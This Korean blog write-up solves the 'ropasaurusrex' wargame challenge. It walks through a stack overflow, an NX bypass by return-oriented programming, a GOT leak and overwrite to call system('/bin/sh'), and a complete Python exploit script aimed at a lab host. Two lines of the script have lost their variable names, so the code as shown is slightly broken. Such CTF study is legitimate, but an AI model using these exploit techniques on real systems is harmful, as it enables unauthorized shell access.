본문 바로가기

WARGAME/ETC

ropasaurusrex


우선 함수하나를 호출하고 다음 WIN을 출력하게 된다.


buf가 0x88인데 0x100까지 입력받을 수 있어서 취약점이 생긴다.


135개까지는 괜찮은데 136개부터 세크먼테이션 폴트가 뜬다.


NX가 적용되어 있기 때문에 쉘코드를 이용해서 푸는건 내가 못한다.


ROP 기법을 사용해 문제를 풀어본건데 환경 설정 부터해보자

1
2
3
4
5
6
7
8
9
10
11
service rop
{
    flags = REUSE
    socket_type = stream
    wait = no
    user = root
    server = /home/tory/Desktop/rop
    disable = no
}
 
echo "rop 1234/tcp" >> /etc/services
cs

xinetd 데몬을 사용해서 돌리는데 이렇게 설정하고 nc로 접속해보자.


잘 구동되는 것을 볼 수 있다.


페이로드를 생각해보면 

/bin/sh를 메모리 영역에 쓰고 write 함수를 사용해 read@got에서 read의 실제 주소를 구한다. 그 후 read 함수로 read@got를 실제 시스템 주소로 덮어쓴다. 이제 read함수를 통해 system("/bin/sh")를 할 수 있다.


read(0, dynamic, 8);

write(1, read_got, 4);

read(0, read_got, 4);

read(dynamic);


/bin/sh를 넣을 영역은 dynamic로 선택했다 bss가 8바이트 밖에 안되기 때문이다 하지만 그냥 써도 상관 없을 듯하다.


다음 pppr을 통해 인자를 잘 전달할 수 있게 하고



read의 plt와 got를 구하였다



write의 plt와 got도 구하였다


ASLR 상태에서 시스템 함수 주소는 got에서 얻은 실제 주소로 얻을 수 있다

0x9ae80



이제 구할건 다했다 익스플로잇을 해보자!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from time import *
from struct import *
from socket import *
 
= lambda x:pack("<L",x)
up = lambda x:unpack("<L",x)[0]
 
dynamic = 0x08049530
pppr = 0x080484b6
 
read_plt = 0x0804832c
read_got = 0x0804961c
 
write_plt = 0x0804830c
write_got = 0x08049614
 
offset = 0x9ae80
cmd = "/bin/sh"
 
payload = ''
payload = 'A'*140
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(dynamic)
payload += p(len(cmd)+1)
 
payload += p(write_plt)
payload += p(pppr)
payload += p(1)
payload += p(read_got)
payload += p(4)
 
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(read_got)
payload += p(4)
 
payload += p(read_plt)
payload += 'AAAA'
payload += p(dynamic)
 
ip = '192.168.153.139'
port = 1234
 
= socket()
s.connect((ip,port))
 
print '[*] sending payload...'
 
s.send(payload+'\n')
s.send(cmd+'\n')
sleep(1)
 
read = up(s.recv(4))
print '[*] read_addr = '+hex(read)
 
system = read - offset
print '[*] system_addr = '+hex(system)
 
 
sleep(1)
s.send(p(system))
 
 
 
print '[*] exploit!!!'
s.send("id\n")
sleep(1)
 
print s.recv(100)
cs



'WARGAME > ETC' 카테고리의 다른 글

solveme.kr Photo Gallery  (0) 2017.01.10
solveme.kr What's this file?  (0) 2017.01.10
ropasaurusrex  (0) 2017.01.04
abex1~abex5  (0) 2016.07.11
wargame kr EASY_Crackme  (0) 2015.05.10